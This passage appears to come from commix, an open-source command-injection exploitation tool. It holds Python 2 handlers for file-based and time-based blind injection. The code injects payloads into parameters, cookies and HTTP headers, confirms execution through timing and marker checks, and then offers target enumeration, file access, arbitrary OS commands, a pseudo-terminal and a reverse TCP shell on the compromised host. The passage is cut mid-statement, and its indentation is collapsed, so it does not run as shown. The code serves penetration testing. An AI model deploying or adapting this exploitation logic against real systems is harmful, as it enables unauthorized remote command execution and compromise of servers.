alter_shell = menu.options.alter_shell for whitespace in settings.WHITESPACE: for prefix in settings.PREFIXES: for suffix in settings.SUFFIXES: for separator in settings.SEPARATORS: # If a previous session is available. if settings.LOAD_SESSION and session_handler.notification(url, technique): url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method) checks.check_for_stored_tamper(payload) OUTPUT_TEXTFILE = TAG + ".txt" if technique == "tempfile-based injection technique": #settings.LOAD_SESSION = True tfb_handler.exploitation(url, delay, filename, tmp_path, http_request_method, url_time_response) if settings.RETEST == True: settings.RETEST = False from src.core.injections.results_based.techniques.classic import cb_handler cb_handler.exploitation(url, delay, filename, http_request_method) if not settings.LOAD_SESSION: i = i + 1 # The output file for file-based injection technique. OUTPUT_TEXTFILE = TAG + ".txt" # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" try: # File-based decision payload (check if host is vulnerable). if alter_shell : payload = fb_payloads.decision_alter_shell(separator, TAG, OUTPUT_TEXTFILE) else: payload = fb_payloads.decision(separator, TAG, OUTPUT_TEXTFILE) # Check if defined "--prefix" option. # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = re.sub(" ", whitespace, payload) if settings.TAMPER_SCRIPTS['base64encode']: from src.core.tamper import base64encode payload = base64encode.encode(payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL >= 1: payload_msg = payload.replace("\n", "\\n") print settings.print_payload(payload_msg) # Cookie Injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie injection. vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie) response = fb_injector.cookie_injection_test(url, vuln_parameter, payload) # User-Agent Injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent injection. vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent) response = fb_injector.user_agent_injection_test(url, vuln_parameter, payload) # Referer Injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to referer injection. vuln_parameter = parameters.specify_referer_parameter(menu.options.referer) response = fb_injector.referer_injection_test(url, vuln_parameter, payload) # Custom HTTP header Injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom http header injection. vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG) response = fb_injector.custom_header_injection_test(url, vuln_parameter, payload) else: # Check if target host is vulnerable. response, vuln_parameter = fb_injector.injection_test(payload, http_request_method, url) # Find the directory. output = fb_injector.injection_output(url, OUTPUT_TEXTFILE, delay) time.sleep(delay) try: # Check if defined extra headers. request = urllib2.Request(output) headers.do_check(request) # Evaluate test results. output = urllib2.urlopen(request) html_data = output.read() shell = re.findall(r"" + TAG + "", html_data) if len(shell) != 0 and shell[0] == TAG and not settings.VERBOSITY_LEVEL >= 1: percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL info_msg = "Testing the " + technique + "... [ " + percent + " ]" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() if len(shell) == 0 : # delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # if settings.VERBOSITY_LEVEL >= 1: # print "" raise urllib2.HTTPError(url, 404, 'Error', {}, None) except urllib2.HTTPError, e: if str(e.getcode()) == settings.NOT_FOUND_ERROR: percent = ((i*100)/total) float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2)) if call_tmp_based == True: exit_loops = True tmp_path = os.path.split(menu.options.file_dest)[0] + "/" tfb_controller(no_result, url, delay, filename, tmp_path, http_request_method, url_time_response) raise # Show an error message, after N failed tries. # Use the "/tmp/" directory for tempfile-based technique. elif i == settings.FAILED_TRIES and no_result == True : warn_msg = "It seems that you don't have permissions to " warn_msg += "read and/or write files in '" + settings.SRV_ROOT_DIR + "'." sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) print "" while True: question_msg = "Do you want to try the temporary directory (" + tmp_path + ") [Y/n/q] > " sys.stdout.write(settings.print_question_msg(question_msg)) tmp_upload = sys.stdin.readline().replace("\n","").lower() if tmp_upload in settings.CHOICE_YES: exit_loops = True settings.TEMPFILE_BASED_STATE = True call_tfb = tfb_controller(no_result, url, delay, filename, tmp_path, http_request_method, url_time_response) if call_tfb != False: return True else: if no_result == True: return False else: return True elif tmp_upload in settings.CHOICE_NO: break elif tmp_upload in settings.CHOICE_QUIT: print "" raise else: if tmp_upload == "": tmp_upload = "enter" err_msg = "'" + tmp_upload + "' is not a valid answer." print settings.print_error_msg(err_msg) pass continue else: if exit_loops == False: if not settings.VERBOSITY_LEVEL >= 1: if str(float_percent) == "100.0": if no_result == True: percent = Fore.RED + "FAILED" + Style.RESET_ALL else: percent = str(float_percent)+ "%" else: percent = str(float_percent)+ "%" info_msg = "Testing the " + technique + "... [ " + percent + " ]" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() continue else: continue else: raise elif str(e.getcode()) == settings.UNAUTHORIZED_ERROR: err_msg = "Authorization required!" print settings.print_critical_msg(err_msg) + "\n" sys.exit(0) elif str(e.getcode()) == settings.FORBIDDEN_ERROR: err_msg = "You don't have permission to access this page." print settings.print_critical_msg(err_msg) + "\n" sys.exit(0) except KeyboardInterrupt: if settings.VERBOSITY_LEVEL >= 1: print "" # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except SystemExit: if 'vuln_parameter' in locals(): # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except urllib2.URLError, e: warn_msg = "It seems that you don't have permissions to " warn_msg += "read and/or write files in '" + settings.SRV_ROOT_DIR + "'." sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) print "" # Provide custom server's root directory. custom_srv_root_dir() continue except: raise # Yaw, got shellz! # Do some magic tricks! if shell: found = True no_result = False if not settings.VERBOSITY_LEVEL >= 1 and \ not menu.options.alter_shell and \ not next_attack_vector: next_attack_vector = True if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: header_name = " " + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" else: header_name = "" the_type = " parameter" if http_request_method == "GET": found_vuln_parameter = parameters.vuln_GET_param(url) else : found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0 : found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.VERBOSITY_LEVEL >= 1 and not settings.LOAD_SESSION: print "" # Print the findings to terminal. success_msg = "The" if found_vuln_parameter == " ": success_msg += http_request_method + "" success_msg += the_type + header_name success_msg += found_vuln_parameter + " seems injectable via " success_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "." print settings.print_success_msg(success_msg) print settings.SUB_CONTENT_SIGN + "Payload: " + re.sub("%20", " ", payload.replace("\n", "\\n")) + Style.RESET_ALL # Export session if not settings.LOAD_SESSION: session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, delay=0, how_long=0, output_length=0, is_vulnerable=menu.options.level) else: whitespace = settings.WHITESPACE[0] settings.LOAD_SESSION = False # Check for any enumeration options. if settings.ENUMERATION_DONE == True : while True: question_msg = "Do you want to enumerate again? [Y/n/q] > " enumerate_again = raw_input("\n" + settings.print_question_msg(question_msg)).lower() if enumerate_again in settings.CHOICE_YES: fb_enumeration.do_check(separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) print "" break elif enumerate_again in settings.CHOICE_NO: break elif file_access_again in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) sys.exit(0) else: if enumerate_again == "": enumerate_again = "enter" err_msg = "'" + enumerate_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: if menu.enumeration_options(): fb_enumeration.do_check(separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if not menu.file_access_options() and not menu.options.os_cmd: if not settings.VERBOSITY_LEVEL >= 1: print "" # Check for any system file access options. if settings.FILE_ACCESS_DONE == True : if settings.ENUMERATION_DONE != True: print "" while True: question_msg = "Do you want to access files again? [Y/n/q] > " sys.stdout.write(settings.print_question_msg(question_msg)) file_access_again = sys.stdin.readline().replace("\n","").lower() if file_access_again in settings.CHOICE_YES: fb_file_access.do_check(separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) print "" break elif file_access_again in settings.CHOICE_NO: break elif file_access_again in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) sys.exit(0) else: if file_access_again == "": file_access_again = "enter" err_msg = "'" + enumerate_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: if menu.file_access_options(): if not menu.enumeration_options(): print "" fb_file_access.do_check(separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) #print "" # Check if defined single cmd. if menu.options.os_cmd: # if not menu.file_access_options(): # print "" fb_enumeration.single_os_cmd_exec(separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) sys.exit(0) try: # Pseudo-Terminal shell go_back = False go_back_again = False while True: # Delete previous shell (text) files (output) if settings.VERBOSITY_LEVEL >= 1: print "" delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if settings.VERBOSITY_LEVEL >= 1: print "" if go_back == True: break question_msg = "Do you want a Pseudo-Terminal? [Y/n/q] > " sys.stdout.write(settings.print_question_msg(question_msg)) gotshell = sys.stdin.readline().replace("\n","").lower() if gotshell in settings.CHOICE_YES: print "" print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)" if readline_error: checks.no_readline_module() while True: # Tab compliter if not readline_error: readline.set_completer(menu.tab_completer) # MacOSX tab compliter if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''): readline.parse_and_bind("bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind("tab: complete") cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) # if settings.VERBOSITY_LEVEL >= 1: # print "" if cmd.lower() in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, delay, go_back_again) if go_back: break else: response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if menu.options.ignore_session or \ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Command execution results. shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay) shell = "".join(str(p) for p in shell) if not menu.options.ignore_session : session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if shell: if shell != "": print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n" if not shell or shell == "": if settings.VERBOSITY_LEVEL >= 1: print "" err_msg = "The '" + cmd + "' command, does not return any output." print settings.print_critical_msg(err_msg) + "\n" elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector(technique, go_back) == True: break else: if no_result == True: return False else: return True elif gotshell in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) sys.exit(0) else: if gotshell == "": gotshell = "enter" err_msg = "'" + gotshell + "' is not a valid answer." print settings.print_error_msg(err_msg) pass except KeyboardInterrupt: if settings.VERBOSITY_LEVEL >= 1: print "" # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise
def tfb_injection_handler(url, delay, filename, tmp_path, http_request_method, url_time_response): counter = 1 num_of_chars = 1 vp_flag = True no_result = True is_encoded = False possibly_vulnerable = False false_positive_warning = False how_long_statistic = [] export_injection_info = False how_long = 0 injection_type = "semi-blind command injection" technique = "tempfile-based injection technique" # Check if defined "--maxlen" option. if menu.options.maxlen: maxlen = settings.MAXLEN # Check if defined "--url-reload" option. if menu.options.url_reload == True: err_msg = "The '--url-reload' option is not available in " + technique + "!" print settings.print_critical_msg(err_msg) whitespace = checks.check_whitespaces() if settings.VERBOSITY_LEVEL >= 1: info_msg ="Testing the " + technique + "... " print settings.print_info_msg(info_msg) # Calculate all possible combinations total = (len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) - len(settings.JUNK_COMBINATION)) for prefix in settings.PREFIXES: for suffix in settings.SUFFIXES: for separator in settings.SEPARATORS: if settings.LOAD_SESSION: cmd = shell = "" url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method) checks.check_for_stored_tamper(payload) settings.FOUND_HOW_LONG = how_long settings.FOUND_DIFF = how_long - delay OUTPUT_TEXTFILE = tmp_path + TAG + ".txt" else: num_of_chars = num_of_chars + 1 # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" # Change TAG on every request to prevent false-positive resutls. TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6)) # The output file for file-based injection technique. OUTPUT_TEXTFILE = tmp_path + TAG + ".txt" alter_shell = menu.options.alter_shell tag_length = len(TAG) + 4 for output_length in range(1, int(tag_length)): try: # Tempfile-based decision payload (check if host is vulnerable). if alter_shell : payload = tfb_payloads.decision_alter_shell(separator, output_length, TAG, OUTPUT_TEXTFILE, delay, http_request_method) else: payload = tfb_payloads.decision(separator, output_length, TAG, OUTPUT_TEXTFILE, delay, http_request_method) # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = re.sub(" ", whitespace, payload) # Encode payload to Base64 if settings.TAMPER_SCRIPTS['base64encode']: from src.core.tamper import base64encode payload = base64encode.encode(payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL >= 1: payload_msg = payload.replace("\n", "\\n") print settings.print_payload(payload_msg) # Cookie Injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie injection. vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie) how_long = tfb_injector.cookie_injection_test(url, vuln_parameter, payload) # User-Agent Injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent injection. vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent) how_long = tfb_injector.user_agent_injection_test(url, vuln_parameter, payload) # Referer Injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to referer injection. vuln_parameter = parameters.specify_referer_parameter(menu.options.referer) how_long = tfb_injector.referer_injection_test(url, vuln_parameter, payload) # Custom HTTP header Injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom http header injection. vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG) how_long = tfb_injector.custom_header_injection_test(url, vuln_parameter, payload) else: # Check if target host is vulnerable. how_long, vuln_parameter = tfb_injector.injection_test(payload, http_request_method, url) # Statistical analysis in time responses. how_long_statistic.append(how_long) # Injection percentage calculation percent = ((num_of_chars * 100) / total) float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2)) if percent == 100 and no_result == True: if not settings.VERBOSITY_LEVEL >= 1: percent = Fore.RED + "FAILED" + Style.RESET_ALL else: percent = "" else: if (url_time_response == 0 and (how_long - delay) >= 0) or \ (url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \ (url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) : # Time relative false positive fixation. false_positive_fixation = False if len(TAG) == output_length: # Simple statical analysis statistical_anomaly = True if len(set(how_long_statistic[0:5])) == 1: if max(xrange(len(how_long_statistic)), key=lambda x: how_long_statistic[x]) == len(TAG) - 1: statistical_anomaly = False how_long_statistic = [] if delay <= how_long and not statistical_anomaly: false_positive_fixation = True else: false_positive_warning = True # Identified false positive warning message. if false_positive_warning: warn_msg = "Unexpected time delays have been identified due to unstable " warn_msg += "requests. This behavior may lead to false-positive results.\n" sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) while True: question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " sys.stdout.write(settings.print_question_msg(question_msg)) proceed_option = sys.stdin.readline().replace("\n","").lower() if proceed_option.lower() in settings.CHOICE_PROCEED : if proceed_option.lower() == "s": false_positive_fixation = False raise elif proceed_option.lower() == "c": delay = delay + 1 false_positive_fixation = True break elif proceed_option.lower() == "q": raise SystemExit() else: if proceed_option == "": proceed_option = "enter" err_msg = "'" + proceed_option + "' is not a valid answer." print settings.print_error_msg(err_msg) pass # Check if false positive fixation is True. if false_positive_fixation: false_positive_fixation = False settings.FOUND_HOW_LONG = how_long settings.FOUND_DIFF = how_long - delay if false_positive_warning: time.sleep(1) randv1 = random.randrange(0, 1) randv2 = random.randrange(1, 2) randvcalc = randv1 + randv2 if settings.TARGET_OS == "win": if alter_shell: cmd = settings.WIN_PYTHON_DIR + " -c \"print (" + str(randv1) + " + " + str(randv2) + ")\"" else: cmd = "powershell.exe -InputFormat none write (" + str(randv1) + " + " + str(randv2) + ")" else: cmd = "echo $((" + str(randv1) + " + " + str(randv2) + "))" # Check for false positive resutls how_long, output = tfb_injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, how_long, url_time_response) if (url_time_response == 0 and (how_long - delay) >= 0) or \ (url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \ (url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) : if str(output) == str(randvcalc) and len(TAG) == output_length: possibly_vulnerable = True how_long_statistic = 0 if not settings.VERBOSITY_LEVEL >= 1: percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL else: percent = "" #break else: break # False positive else: if not settings.VERBOSITY_LEVEL >= 1: percent = str(float_percent)+ "%" info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() continue else: if not settings.VERBOSITY_LEVEL >= 1: percent = str(float_percent)+ "%" info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() continue if not settings.VERBOSITY_LEVEL >= 1: info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() except KeyboardInterrupt: if 'cmd' in locals(): # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except SystemExit: # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except: percent = ((num_of_chars * 100) / total) float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2)) if str(float_percent) == "100.0": if no_result == True: if not settings.VERBOSITY_LEVEL >= 1: percent = Fore.RED + "FAILED" + Style.RESET_ALL info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() else: percent = "" else: percent = str(float_percent) + "%" print "" # Print logs notification message logs.logs_notification(filename) #raise else: percent = str(float_percent) + "%" break # Yaw, got shellz! # Do some magic tricks! if (url_time_response == 0 and (how_long - delay) >= 0) or \ (url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \ (url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) : if (len(TAG) == output_length) and \ (possibly_vulnerable == True or settings.LOAD_SESSION and int(is_vulnerable) == menu.options.level): found = True no_result = False if settings.LOAD_SESSION: possibly_vulnerable = False if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: header_name = " " + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" else: header_name = "" the_type = " parameter" if http_request_method == "GET": found_vuln_parameter = parameters.vuln_GET_param(url) else : found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0 : found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.LOAD_SESSION: print "" # Print the findings to terminal. success_msg = "The" if found_vuln_parameter == " ": success_msg += http_request_method + "" success_msg += the_type + header_name success_msg += found_vuln_parameter + " seems injectable via " success_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "." print settings.print_success_msg(success_msg) print settings.SUB_CONTENT_SIGN + "Payload: " + re.sub("%20", " ", payload.replace("\n", "\\n")) + Style.RESET_ALL # Export session if not settings.LOAD_SESSION: shell = "" session_handler.injection_point_importation(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable=menu.options.level) #possibly_vulnerable = False else: settings.LOAD_SESSION = False # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if settings.TARGET_OS == "win": time.sleep(1) new_line = False # Check for any enumeration options. if settings.ENUMERATION_DONE == True : while True: question_msg = "Do you want to enumerate again? [Y/n/q] > " enumerate_again = raw_input("\n" + settings.print_question_msg(question_msg)).lower() if enumerate_again in settings.CHOICE_YES: tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) print "" break elif enumerate_again in settings.CHOICE_NO: new_line = True break elif enumerate_again in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) sys.exit(0) else: if enumerate_again == "": enumerate_again = "enter" err_msg = "'" + enumerate_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: if menu.enumeration_options(): tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) print "" # Check for any system file access options. if settings.FILE_ACCESS_DONE == True : print "" while True: question_msg = "Do you want to access files again? [Y/n/q] > " sys.stdout.write(settings.print_question_msg(question_msg)) file_access_again = sys.stdin.readline().replace("\n","").lower() if file_access_again in settings.CHOICE_YES: tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) break elif file_access_again in settings.CHOICE_NO: if not new_line: new_line = True break elif file_access_again in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) sys.exit(0) else: if file_access_again == "": file_access_again = "enter" err_msg = "'" + file_access_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: # if not menu.enumeration_options() and not menu.options.os_cmd: # print "" tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) # Check if defined single cmd. if menu.options.os_cmd: check_how_long, output = tfb_enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) # Export injection result tfb_injector.export_injection_results(cmd, separator, output, check_how_long) # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) sys.exit(0) if not new_line : print "" try: # Pseudo-Terminal shell go_back = False go_back_again = False while True: if go_back == True: break question_msg = "Do you want a Pseudo-Terminal? [Y/n/q] > " sys.stdout.write(settings.print_question_msg(question_msg)) gotshell = sys.stdin.readline().replace("\n","").lower() if gotshell in settings.CHOICE_YES: print "" print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)" if readline_error: checks.no_readline_module() while True: if false_positive_warning: warn_msg = "Due to unexpected time delays, it is highly " warn_msg += "recommended to enable the 'reverse_tcp' option.\n" sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) false_positive_warning = False try: # Tab compliter if not readline_error: readline.set_completer(menu.tab_completer) # MacOSX tab compliter if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''): readline.parse_and_bind("bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind("tab: complete") cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result) if os_shell_option == False: if no_result == True: return False else: return True elif os_shell_option == "quit": # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) sys.exit(0) elif os_shell_option == "back": go_back = True break elif os_shell_option == "os_shell": warn_msg = "You are already into an 'os_shell' mode." print settings.print_warning_msg(warn_msg)+ "\n" elif os_shell_option == "reverse_tcp": settings.REVERSE_TCP = True # Set up LHOST / LPORT for The reverse TCP connection. reverse_tcp.configure_reverse_tcp() if settings.REVERSE_TCP == False: continue while True: if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS: result = checks.check_reverse_tcp_options(settings.LHOST) else: cmd = reverse_tcp.reverse_tcp_options() result = checks.check_reverse_tcp_options(cmd) if result != None: if result == 0: return False elif result == 1 or result == 2: go_back_again = True settings.REVERSE_TCP = False break # Command execution results. from src.core.injections.results_based.techniques.classic import cb_injector separator = checks.time_based_separators(separator, http_request_method) whitespace = settings.WHITESPACE[0] response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Evaluate injection results. shell = cb_injector.injection_results(response, TAG, cmd) if settings.VERBOSITY_LEVEL >= 1: print "" err_msg = "The reverse TCP connection has failed!" print settings.print_critical_msg(err_msg) else: pass else: print "" if menu.options.ignore_session or \ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # The main command injection exploitation. check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) # Export injection result tfb_injector.export_injection_results(cmd, separator, output, check_how_long) if not menu.options.ignore_session : session_handler.store_cmd(url, cmd, output, vuln_parameter) else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) print Fore.GREEN + Style.BRIGHT + output + "\n" + Style.RESET_ALL except 